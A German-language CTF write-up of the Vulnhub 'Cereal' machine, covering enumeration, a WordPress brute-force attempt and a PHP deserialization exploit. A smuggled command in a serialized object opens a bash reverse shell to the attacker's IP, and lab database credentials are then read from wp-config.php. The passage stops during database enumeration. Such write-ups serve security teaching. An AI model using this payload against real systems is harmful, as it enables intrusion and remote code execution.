Cereal - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

nmap
nikto
gobuster
ffuf
ftp
php
netcat (nc)
Burpsuite
wpscan
john
python3
wget
sudo
mysql

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cyber)-[~]
└─# arp-scan -l
192.168.2.134 08:00:27:00:0a:66 PCS Systemtechnik GmbH

Technische Analyse: `arp-scan -l` verwendet ARP-Anfragen, um Hosts im lokalen Netzwerk zu identifizieren.

Kontextbezogene Bewertung: Identifiziert das Zielsystem mit der IP-Adresse 192.168.2.134 und der MAC-Adresse 08:00:27:00:0a:66.

Handlungsorientierte Empfehlungen: Für den Pentester: Notieren Sie sich die IP-Adresse und MAC-Adresse des Ziels für spätere Schritte. Für den Systemadministrator: Überprüfen Sie die Liste der aktiven Geräte im Netzwerk, um unautorisierte Zugriffe zu erkennen.

┌──(root㉿cyber)-[~]
└─# vi /etc/hosts
192.168.2.134 cereal.vuln

Technische Analyse: `vi /etc/hosts` bearbeitet die `/etc/hosts`-Datei, um Hostnamen zu IP-Adressen zuzuordnen.

Kontextbezogene Bewertung: Ordnet den Hostnamen `cereal.vuln` der IP-Adresse 192.168.2.134 zu, um die Verwendung des Hostnamens anstelle der IP-Adresse zu ermöglichen.

Handlungsorientierte Empfehlungen: Für den Pentester: Verwenden Sie den Hostnamen `cereal.vuln` in den folgenden Befehlen, um die Übersichtlichkeit zu erhöhen. Für den Systemadministrator: Stellen Sie sicher, dass die Einträge in `/etc/hosts` korrekt und aktuell sind.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sC -T5 -AO 192.168.2.134 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-12 10:57 CEST
Nmap scan report for chronos.local (192.168.2.134)
Host is up (0.00012s latency).
Not shown: 65520 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.2.127
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 0 0 6 Apr 12 2021 pub
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
| 3072 00242bae41baac52d15d4fad00ce3967 (RSA)
| 256 1ae3c737522edcdd62610327551a866f (ECDSA)
|_ 256 24fde78089c557fdf3e5c92f01e16b30 (ED25519)
80/tcp open http Apache httpd 2.4.37 (())
|_http-server-header: Apache/2.4.37 ()
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Apache HTTP Server Test Page powered by: Rocky Linux
139/tcp open tcpwrapped
445/tcp open tcpwrapped
3306/tcp open mysql?
| fingerprint-strings:
| NULL:
|_ Host 'cyber' is not allowed to connect to this MariaDB server
11111/tcp open tcpwrapped
22222/tcp open tcpwrapped
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
22223/tcp open tcpwrapped
33333/tcp open tcpwrapped
33334/tcp open tcpwrapped
44441/tcp open http Apache httpd 2.4.37 (())
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.37 ()
44444/tcp open tcpwrapped
55551/tcp open tcpwrapped
55555/tcp open tcpwrapped MariaDB server ... .... ....
MAC Address: 08:00:27:00:0A:66 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Unix
Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)
TRACEROUTE
HOP RTT ADDRESS
1 0.12 ms chronos.local (192.168.2.134)

Technische Analyse: `nmap -sS -sC -T5 -AO 192.168.2.134 -p-` führt einen umfassenden Nmap-Scan durch, einschließlich SYN-Scan (-sS), Standard-Skripten (-sC), Timing-Vorlage 5 (-T5), Betriebssystemerkennung (-O) und Versionserkennung (-A) auf allen Ports (-p-) des Ziels.

Kontextbezogene Bewertung: Der Scan zeigt offene Ports und zugehörige Dienste, einschließlich FTP (Port 21) mit anonymem Zugriff, SSH (Port 22), HTTP (Port 80 und 44441) und MySQL (Port 3306).

Handlungsorientierte Empfehlungen: Für den Pentester: Untersuchen Sie die offenen Ports und Dienste auf potenzielle Schwachstellen. Nutzen Sie den anonymen FTP-Zugriff. Für den Systemadministrator: Überprüfen Sie die Konfigurationen der Dienste, um unnötige Ports zu schließen und die Sicherheit zu erhöhen.

Web Enumeration

┌──(root㉿cyber)-[~]
└─# nikto -h 192.168.2.134
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 192.168.2.134
+ Target Hostname: 192.168.2.134
+ Target Port: 80
+ Start Time: 2023-06-12 10:57:46 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.37 ()
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /aDWQZr8R.php: Retrieved x-powered-by header: PHP/7.2.24.
+ Apache/2.4.37 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ OPTIONS: Allowed HTTP Methods: HEAD, GET, POST, OPTIONS, TRACE .
+ /: HTTP TRACE method is active which suggests the host is vulnerable to XST. See: https://owasp.org/www-community/attacks/Cross_Site_Tracing
+ /phpinfo.php: Output from the phpinfo() function was found.
+ /admin/: This might be interesting.
+ /admin/index.php: This might be interesting: has been seen in web logs from an unknown scanner.
+ /phpinfo.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information. See: CWE-552
+ /icons/: Directory indexing found.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /blog/wp-login.php: Cookie wordpress_test_cookie created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ /blog/wp-login.php: Wordpress login found.
+ 8908 requests: 0 error(s) and 14 item(s) reported on remote host
+ End Time: 2023-06-12 10:58:14 (GMT2) (28 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Technische Analyse: `nikto -h 192.168.2.134` führt einen Nikto-Scan auf dem Zielsystem durch, um Webserver-Schwachstellen zu identifizieren.

Kontextbezogene Bewertung: Der Scan zeigt fehlende Sicherheitsheader, eine veraltete Apache-Version, aktivierte TRACE-Methode, die Existenz von `/phpinfo.php` und ein WordPress-Login auf `/blog/wp-login.php`.

Handlungsorientierte Empfehlungen: Für den Pentester: Untersuchen Sie die gefundenen Schwachstellen im Detail. Nutzen Sie die Informationen aus `/phpinfo.php` für weitere Angriffe. Für den Systemadministrator: Beheben Sie die von Nikto gemeldeten Probleme, insbesondere die fehlenden Sicherheitsheader und die veraltete Software.

┌──(root㉿cyber)-[~]
└─# gobuster dir -u http://192.168.2.134 -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
==============================================================================================================================
http://192.168.2.134/blog (Status: 301) [Size: 234] [--> http://192.168.2.134/blog/]
http://192.168.2.134/admin (Status: 301) [Size: 235] [--> http://192.168.2.134/admin/]
http://192.168.2.134/phpinfo.php (Status: 200) [Size: 76368]
Progress: 8158863 / 8160498 (99.98%)
==============================================================================================================================
2023/06/12 11:09:51 Finished
===============================================================

Technische Analyse: `gobuster dir -u http://192.168.2.134 -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error` führt einen Gobuster-Scan durch, um Verzeichnisse und Dateien auf dem Webserver zu finden.

Kontextbezogene Bewertung: Der Scan zeigt die Verzeichnisse `/blog` und `/admin` sowie die Datei `/phpinfo.php`.

Handlungsorientierte Empfehlungen: Für den Pentester: Untersuchen Sie die gefundenen Verzeichnisse und Dateien genauer, insbesondere `/admin` und `/phpinfo.php`. Für den Systemadministrator: Stellen Sie sicher, dass keine sensiblen Dateien oder Verzeichnisse öffentlich zugänglich sind.

┌──(root㉿cyber)-[~]
└─# ftp 192.168.2.134
Connected to 192.168.2.134.
220 (vsFTPd 3.0.3)
Name (192.168.2.134:cyber): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

ftp> ls -la
229 Entering Extended Passive Mode (|||52768|)
150 Here comes the directory listing.
drwxr-xr-x 3 0 0 17 May 29 2021 .
drwxr-xr-x 3 0 0 17 May 29 2021 ..
drwxr-xr-x 2 0 0 6 Apr 12 2021 pub
226 Directory send OK.

ftp> cd pub
250 Directory successfully changed.

ftp> ls -la
229 Entering Extended Passive Mode (|||23359|)
150 Here comes the directory listing.
drwxr-xr-x 2 0 0 6 Apr 12 2021 .
drwxr-xr-x 3 0 0 17 May 29 2021 ..
226 Directory send OK.

ftp> put hash
local: hash remote: hash
229 Entering Extended Passive Mode (|||10972|)
550 Permission denied.

ftp> cd /home
550 Failed to change directory.

ftp> put revshell.php
local: revshell.php remote: revshell.php
229 Entering Extended Passive Mode (|||12333|)
550 Permission denied.

ftp> cd pub
250 Directory successfully changed.

ftp> put revshell.php
local: revshell.php remote: revshell.php
229 Entering Extended Passive Mode (|||23017|)
550 Permission denied.
ftp>

Technische Analyse: `ftp 192.168.2.134` verbindet sich mit dem FTP-Server. Der Benutzer meldet sich anonym an. Anschließend werden verschiedene Befehle ausgeführt, um Dateien hochzuladen und zu navigieren.

Kontextbezogene Bewertung: Der anonyme Zugriff ist erfolgreich. Der Benutzer kann das `/pub`-Verzeichnis auflisten. Das Hochladen von Dateien ist jedoch nicht möglich.

Handlungsorientierte Empfehlungen: Für den Pentester: Überprüfen Sie die vorhandenen Dateien im `/pub`-Verzeichnis. Für den Systemadministrator: Beschränken Sie die Berechtigungen für den anonymen FTP-Zugriff.

┌──(root㉿cyber)-[~]
└─# PHP Version 7.2.24
PHP Variables
Variable Value
---------------------------------------------------------------------------------
$_SERVER['USER'] apache
$_SERVER['HOME'] /usr/share/httpd
$_SERVER['SCRIPT_NAME'] /phpinfo.php
$_SERVER['REQUEST_URI'] /phpinfo.php
$_SERVER['QUERY_STRING'] no value
$_SERVER['REQUEST_METHOD'] GET
$_SERVER['SERVER_PROTOCOL'] HTTP/1.1
$_SERVER['GATEWAY_INTERFACE'] CGI/1.1
$_SERVER['REMOTE_PORT'] 47464
$_SERVER['SCRIPT_FILENAME'] /var/www/html/phpinfo.php
$_SERVER['SERVER_ADMIN'] root@localhost
$_SERVER['CONTEXT_DOCUMENT_ROOT'] /var/www/html
$_SERVER['CONTEXT_PREFIX'] no value
$_SERVER['REQUEST_SCHEME'] http
$_SERVER['DOCUMENT_ROOT'] /var/www/html
$_SERVER['REMOTE_ADDR'] 192.168.2.127
$_SERVER['SERVER_PORT'] 80
$_SERVER['SERVER_ADDR'] 192.168.2.134
$_SERVER['SERVER_NAME'] 192.168.2.134
$_SERVER['SERVER_SOFTWARE'] Apache/2.4.37 ()

Technische Analyse: Die PHP-Informationen werden aus der `/phpinfo.php`-Datei abgerufen.

Kontextbezogene Bewertung: Die Informationen umfassen die PHP-Version (7.2.24), den Apache-Benutzer (apache) und verschiedene Servervariablen.

Handlungsorientierte Empfehlungen: Für den Pentester: Nutzen Sie die PHP-Version, um nach bekannten Schwachstellen zu suchen. Für den Systemadministrator: Deaktivieren Sie den Zugriff auf `/phpinfo.php` aus Sicherheitsgründen.

┌──(root㉿cyber)-[~]
└─# http://192.168.2.134/blog --> comments http://cereal.ctf/blog/index.php/category/uncategorised/
---

Technische Analyse: Hinweise auf Kommentare im Blog-Bereich und Weiterleitung zu einer bestimmten Kategorie.

Kontextbezogene Bewertung: Die Blog-Kommentare könnten wertvolle Informationen oder Schwachstellen enthalten.

Handlungsorientierte Empfehlungen: Für den Pentester: Überprüfen Sie die Blog-Kommentare auf sensible Informationen oder Schwachstellen. Für den Systemadministrator: Überwachen Sie die Blog-Kommentare auf verdächtige Aktivitäten.

┌──(root㉿cyber)-[~]
└─# http://cereal.ctf/blog/wp-login.php
Error: The password you entered for the username cereal is incorrect.
Lost your password?

username: cereal
Password: cereal

Technische Analyse: Versuch, sich mit dem Benutzernamen "cereal" und dem Passwort "cereal" anzumelden.

Kontextbezogene Bewertung: Die Anmeldeinformationen sind falsch. Dies deutet auf eine mögliche Brute-Force-Möglichkeit hin.

Handlungsorientierte Empfehlungen: Für den Pentester: Verwenden Sie ein Brute-Force-Tool, um das richtige Passwort zu finden. Für den Systemadministrator: Implementieren Sie Brute-Force-Schutzmaßnahmen.

┌──(root㉿cyber)-[~/.msf4/modules]
└─# wpscan --url http://cereal.ctf/blog/wp-login.php --usernames cereal --passwords /usr/share/wordlists/rockyou.txt
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |_) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.22
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o, default: [N]y
[i] Updating the Database ...
[i] Update completed.

[+] URL: http://cereal.ctf/blog/wp-login.php/ [192.168.2.134]
[+] Started: Mon Jun 12 11:55:23 2023

Interesting Finding(s):

[+] Headers
| Interesting Entries:
| - Server: Apache/2.4.37 ()
| - X-Powered-By: PHP/7.2.24
| Found By: Headers (Passive Detection)
| Confidence: 100%

[+] WordPress readme found: http://cereal.ctf/blog/wp-login.php/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] This site seems to be a multisite
| Found By: Direct Access (Aggressive Detection)

Technische Analyse: `wpscan --url http://cereal.ctf/blog/wp-login.php --usernames cereal --passwords /usr/share/wordlists/rockyou.txt` verwendet WPScan, um die WordPress-Installation auf Schwachstellen zu überprüfen und das Passwort zu bruteforcen.

Kontextbezogene Bewertung: WPScan findet Informationen über die Serverheader, die WordPress-Version und das Vorhandensein einer Multisite-Installation.

Handlungsorientierte Empfehlungen: Für den Pentester: Analysieren Sie die WPScan-Ergebnisse genauer. Für den Systemadministrator: Aktualisieren Sie WordPress und alle Plugins auf die neuesten Versionen.

Initial Access

┌──(root㉿cyber)-[~]
└─# gobuster
http://cereal.ctf/admin/index.php (Status: 200) [Size: 1647]
http://cereal.ctf/blog/wp-content (Status: 301) [Size: 242] [--> http://cereal.ctf/blog/wp-content/]
http://cereal.ctf/blog/license.txt (Status: 200) [Size: 19915]
http://cereal.ctf/blog/wp-includes (Status: 301) [Size: 243] [--> http://cereal.ctf/blog/wp-includes/]
http://cereal.ctf/blog/readme.html (Status: 200) [Size: 7402]
http://cereal.ctf/blog/wp-admin (Status: 301) [Size: 240] [--> http://cereal.ctf/blog/wp-admin/]

Technische Analyse: Auflistung relevanter URLs und Verzeichnisse über `gobuster`, was auf strukturierte Webressourcen hinweist.

Kontextbezogene Bewertung: Der Befehl listet wichtige Pfade wie `/admin/index.php` und WordPress-bezogene Pfade auf, was die Grundlage für weitere gezielte Untersuchungen bildet.

Handlungsorientierte Empfehlungen: Für den Pentester: Untersuchen Sie diese Pfade auf potenzielle Sicherheitslücken und Zugriffsmöglichkeiten. Für den Systemadministrator: Sichern Sie diese Pfade, um unbefugten Zugriff zu verhindern.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sC -T5 -AO 192.168.2.134 -p- | grep open
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
80/tcp open http Apache httpd 2.4.37 (())
139/tcp open netbios-ssn?
445/tcp open microsoft-ds?
3306/tcp open mysql?
11111/tcp open vce?
22222/tcp open easyengine?
22223/tcp open unknown
33333/tcp open dgi-serv?
33334/tcp open speedtrace?
44441/tcp open http Apache httpd 2.4.37 (())
44444/tcp open cognex-dataman?
55551/tcp open unknown
55555/tcp open unknown

Technische Analyse: Dieser Befehl filtert die Ausgabe eines vollständigen TCP-Portscans mit Nmap und zeigt nur die offenen Ports an.

Kontextbezogene Bewertung: Eine Zusammenfassung der offenen Ports und Dienste wird bereitgestellt, was eine schnelle Bewertung der Angriffsfläche ermöglicht.

Handlungsorientierte Empfehlungen: Für den Pentester: Konzentrieren Sie sich auf die Analyse dieser Dienste, um Schwachstellen zu identifizieren. Für den Systemadministrator: Minimieren Sie die Anzahl der offenen Ports, um die Angriffsfläche zu reduzieren.

┌──(root㉿cyber)-[~]
└─# ffuf -u 'http://cereal.ctf:44441' -H 'Host: FUZZ.cereal.ctf' -w /usr/share/dnsrecon/subdomains-top1mil-5000.txt -fw 2
[Status: 200, Size: 1538, Words: 133, Lines: 50, Duration: 2147ms]
* FUZZ: secure

Technische Analyse: Einsatz von `ffuf` zum Auffinden von Subdomains auf Port 44441.

Kontextbezogene Bewertung: Die Subdomain `secure.cereal.ctf` wird gefunden, was auf separate Dienste oder eine gesicherte Umgebung hindeutet.

Handlungsorientierte Empfehlungen: Für den Pentester: Untersuchen Sie diese Subdomain, um weitere Möglichkeiten zu finden. Für den Systemadministrator: Überwachen Sie die Subdomains auf unbefugten Zugriff und Schwachstellen.

┌──(root㉿cyber)-[~]
└─# vi /etc/hosts
192.168.2.134 cereal.vuln cereal.ctf secure.cereal.ctf

Technische Analyse: Bearbeitung der `/etc/hosts`-Datei, um `secure.cereal.ctf` zuzuordnen.

Kontextbezogene Bewertung: Ermöglicht die Auflösung des Hostnamens `secure.cereal.ctf` zur IP-Adresse 192.168.2.134.

Handlungsorientierte Empfehlungen: Für den Pentester: Navigieren Sie mithilfe des Hostnamens zu Diensten, die auf dieser Subdomain laufen. Für den Systemadministrator: Verwalten Sie DNS-Einträge, um sicherzustellen, dass sie korrekt sind.

┌──(root㉿cyber)-[~]
└─# view-source:http://secure.cereal.ctf:44441/php.js
function serialize (mixedValue) {
// discuss at: https://locutus.io/php/serialize/
// original by: Arpad Ray (mailto:arpad@php.net)
// improved by: Dino
// improved by: Le Torbi (https://www.letorbi.de/)
// improved by: Kevin van Zonneveld (https://kvz.io/)
// bugfixed by: Andrej Pavlovic
// bugfixed by: Garagoth
// bugfixed by: Russell Walker (https://www.nbill.co.uk/)
// bugfixed by: Jamie Beck (https://www.terabit.ca/)
// bugfixed by: Kevin van Zonneveld (https://kvz.io/)
// bugfixed by: Ben (https://benblume.co.uk/)
// bugfixed by: Codestar (https://codestarlive.com/)
// bugfixed by: idjem (https://github.com/idjem)
// input by: DtTvB (https://dt.in.th/2008-09-16.string-length-in-bytes.html)
// input by: Martin (https://www.erlenwiese.de/)
// note 1: We feel the main purpose of this function should be to ease
// note 1: the transport of data between php & js
// note 1: Aiming for PHP-compatibility, we have to translate objects to arrays
// example 1: serialize(['Kevin', 'van', 'Zonneveld'])
// returns 1: 'a:3:{i:0;s:5:"Kevin";i:1;s:3:"van";i:2;s:9:"Zonneveld";}'
// example 2: serialize({firstName: 'Kevin', midName: 'van'})
// returns 2: 'a:2:{s:9:"firstName";s:5:"Kevin";s:7:"midName";s:3:"van";}'
// example 3: serialize( {'ü': 'ü', '四': '四', '𠜎': '𠜎'})
// returns 3: 'a:3:{s:2:"ü";s:2:"ü";s:3:"四";s:3:"四";s:4:"𠜎";s:4:"𠜎";}'

Technische Analyse: Anzeige des Quellcodes von `php.js`, das eine JavaScript-Implementierung der PHP-Funktion `serialize()` enthält.

Kontextbezogene Bewertung: Diese Funktion wird verwendet, um Daten in einem serialisierten Format zu speichern, das für die Übertragung oder Speicherung geeignet ist. Das Vorhandensein dieser Funktion könnte auf Deserialisierungs-Schwachstellen hindeuten.

Handlungsorientierte Empfehlungen: Für den Pentester: Suchen Sie nach Stellen, an denen diese Funktion zum Verarbeiten von Eingaben verwendet wird, um Deserialisierungs-Schwachstellen zu finden. Für den Systemadministrator: Stellen Sie sicher, dass die Daten, die mit dieser Funktion verarbeitet werden, ordnungsgemäß validiert werden.

┌──(root㉿cyber)-[~]
└─# gobuster
http://secure.cereal.ctf:44441/php (Status: 200) [Size: 3699]
http://secure.cereal.ctf:44441/index.php (Status: 200) [Size: 1538]
http://secure.cereal.ctf:44441/index (Status: 200) [Size: 1538]
http://secure.cereal.ctf:44441/style (Status: 200) [Size: 3118]
http://secure.cereal.ctf:44441/php.js (Status: 200) [Size: 3699]

Technische Analyse: Verwendung von Gobuster, um das Verzeichnis der sicheren Subdomain aufzulisten.

Kontextbezogene Bewertung: Zeigt wichtige Dateien wie `php.js`, `index.php` und `style.css` an, die weiter analysiert werden könnten.

Handlungsorientierte Empfehlungen: Für den Pentester: Analysieren Sie diese Dateien auf potenzielle Schwachstellen. Für den Systemadministrator: Sichern Sie diese Dateien, um unbefugten Zugriff zu verhindern.

┌──(root㉿cyber)-[~]
└─# ffuf -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://secure.cereal.ctf:44441/FUZZ -D -e .bak,.txt -of html
[Status: 301, Size: 247, Words: 14, Lines: 8, Duration: 3ms]
* FUZZ: back_en

[Status: 200, Size: 3699, Words: 907, Lines: 124, Duration: 2ms]
* FUZZ: php

[Status: 200, Size: 3118, Words: 539, Lines: 150, Duration: 0ms]
* FUZZ: style

[Status: 200, Size: 1538, Words: 133, Lines: 50, Duration: 2038ms]
* FUZZ: index

Technische Analyse: Scannt mithilfe von `ffuf` nach Backups und anderen Dateien.

Kontextbezogene Bewertung: Die Ergebnisse deuten darauf hin, dass die Verzeichnisse `php`, `style` und `index` sowie ein Umleitungsverzeichnis namens `back_en` vorhanden sind.

Handlungsorientierte Empfehlungen: Für den Pentester: Untersuchen Sie diese auf mögliche Informationslecks oder Konfigurationsfehler. Für den Systemadministrator: Entfernen Sie unnötige Dateien.

┌──(root㉿cyber)-[~]
└─# http://secure.cereal.ctf:44441/back_en
Forbidden

You don't have permission to access this resource.

Technische Analyse: Zugriff auf das Verzeichnis `back_en` ist nicht erlaubt.

Kontextbezogene Bewertung: Das Verzeichnis ist nicht zugänglich, was den Zugriff auf sensible Backups verhindert.

Handlungsorientierte Empfehlungen: Für den Pentester: Keine weitere Aktion erforderlich. Für den Systemadministrator: Achten Sie darauf, dass keine sensiblen Dateien öffentlich zugänglich sind.

┌──(root㉿cyber)-[~]
└─# vi deserialization.php
public $ipAddress = " ; bash -c 'bash -i >& /dev/tcp/192.168.2.127/4444 0>&1'";
public $isValid = True;

Technische Analyse: Vorbereitung eines PHP-Skripts zur Deserialisierung mit einem Payload zur Ausführung einer Reverse Shell.

Kontextbezogene Bewertung: Das Skript enthält eine Klasse `pingTest` mit Eigenschaften, die es ermöglichen, eine Reverse Shell zu initiieren.

Handlungsorientierte Empfehlungen: Für den Pentester: Verwenden Sie dieses Skript, um den Payload zu generieren und die Reverse Shell auszulösen. Für den Systemadministrator: Implementieren Sie Maßnahmen, um Deserialisierungsangriffe zu verhindern.

┌──(root㉿cyber)-[~]
└─# php deserialization.php
O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A56%3A%22+%3B+bash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.2.127%2F4444+0%3E%261%27%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D

Technische Analyse: Generierung des serialisierten PHP-Objekts.

Kontextbezogene Bewertung: Der generierte Payload wird verwendet, um die Deserialisierungsschwachstelle auszunutzen.

Handlungsorientierte Empfehlungen: Für den Pentester: Verwenden Sie diesen Payload in der Anfrage. Für den Systemadministrator: Überwachen Sie Deserialisierungsversuche.

Initial Access

┌──(root㉿cyber)-[~]
└─# Reverse Shell
---

Technische Analyse: Schritt zur Vorbereitung der Reverse Shell.

Kontextbezogene Bewertung: Es wird erwartet, dass nachfolgende Schritte zur erfolgreichen Etablierung einer Reverse-Shell-Verbindung führen.

Handlungsorientierte Empfehlungen: Für den Pentester: Stellen Sie sicher, dass Ihr Listener bereit ist, die Verbindung zu empfangen. Für den Systemadministrator: Überwachen Sie Netzwerkverbindungen.

┌──(root㉿cyber)-[~]
└─# nc -lvnp 4444
listening on [any] 4444 ...

Technische Analyse: Starten von Netcat im Listening-Modus auf Port 4444.

Kontextbezogene Bewertung: Netcat wartet auf eine eingehende Verbindung, die durch die Reverse Shell initiiert wird.

Handlungsorientierte Empfehlungen: Für den Pentester: Stellen Sie sicher, dass Netcat korrekt eingerichtet ist. Für den Systemadministrator: Überwachen Sie ungewöhnliche Netzwerkaktivitäten.

┌──(root㉿cyber)-[~]
└─# Burpsuite: Payload
POST / HTTP/1.1
Host: secure.cereal.ctf:44441
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 104
Origin: http://secure.cereal.ctf:44441
Connection: close
Referer: http://secure.cereal.ctf:44441/
Upgrade-Insecure-Requests: 1

obj=O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A56%3A%22+%3B+bash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.2.127%2F4444+0%3E%261%27%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D

Technische Analyse: Der HTTP-Payload, der über Burpsuite gesendet wird, enthält das serialisierte PHP-Objekt, um eine Reverse Shell auszulösen.

Kontextbezogene Bewertung: Diese Anfrage ist darauf ausgelegt, die Deserialisierungs-Schwachstelle auszunutzen.

Handlungsorientierte Empfehlungen: Für den Pentester: Stellen Sie sicher, dass der Payload korrekt codiert ist. Für den Systemadministrator: Überwachen Sie verdächtige POST-Anfragen.

┌──(root㉿cyber)-[~]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.127] from (UNKNOWN) [192.168.2.134] 45254
bash: cannot set terminal process group (851): Inappropriate ioctl for device
bash: no job control in this shell
bash-4.4$

Technische Analyse: Erfolgreiche Reverse-Shell-Verbindung.

Kontextbezogene Bewertung: Bestätigt den erfolgreichen Zugriff auf das Zielsystem als `apache`-Benutzer.

Handlungsorientierte Empfehlungen: Für den Pentester: Beginnen Sie mit der Aufzählung auf dem Zielsystem. Für den Systemadministrator: Untersuchen Sie die Quelle dieser Verbindung und beheben Sie die Schwachstelle.

Privilege Escalation

┌──(root㉿cyber)-[~]
└─# [apache@cereal public_html]$ ls -la
total 12
drwxrwxr-x. 3 rocky apache 69 May 29 2021 .
drwxrwxr-x. 4 rocky apache 147 May 29 2021 ..
drwxrwxr-x. 2 rocky apache 44 May 29 2021 back_en
-rwxrwxr-x. 1 rocky apache 1814 May 29 2021 index.php
-rwxrwxr-x. 1 rocky apache 3699 May 29 2021 php.js
-rwxrwxr-x. 1 rocky apache 3118 May 29 2021 style.css

Technische Analyse: Auflistung des Inhalts des Web-Root-Verzeichnisses.

Kontextbezogene Bewertung: Identifiziert wichtige Webdateien.

Handlungsorientierte Empfehlungen: Für den Pentester: Notieren Sie sich die Dateiberechtigungen und Eigentümer. Für den Systemadministrator: Stellen Sie sicher, dass die Dateiberechtigungen korrekt sind.

┌──(root㉿cyber)-[~]
└─# [apache@cereal blog]$ cat wp-config.php
define( 'DB_NAME', 'newuser' );
define( 'DB_USER', 'newuser' );
define( 'DB_PASSWORD', 'VerySecureRandomPassword!' );

Technische Analyse: Anzeigen des Inhalts der `wp-config.php`-Datei, die Datenbankanmeldeinformationen enthält.

Kontextbezogene Bewertung: Ermöglicht Zugriff auf die WordPress-Datenbank.

Handlungsorientierte Empfehlungen: Für den Pentester: Verwenden Sie die Datenbankanmeldeinformationen, um auf die Datenbank zuzugreifen und weitere Informationen zu sammeln. Für den Systemadministrator: Beschränken Sie den Zugriff auf die Konfigurationsdatei.

┌──(root㉿cyber)-[~]
└─# [apache@cereal blog]$ mysql -u newuser -p
Enter password: VerySecureRandomPassword!
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 20423
Server version: 10.3.28-MariaDB MariaDB Server

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]>

Technische Analyse: Anmeldung bei der MariaDB-Datenbank.

Kontextbezogene Bewertung: Ermöglicht den Zugriff auf die Datenbank.

Handlungsorientierte Empfehlungen: Für den Pentester: Durchsuchen Sie die Datenbank nach weiteren Anmeldeinformationen. Für den Systemadministrator: Beschränken Sie den Datenbankzugriff.

┌──(root㉿cyber)-[~]
└─# MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| newuser |
+--------------------+
2 rows in set (0.001 sec)

Technische Analyse: Datenbanken auflisten.

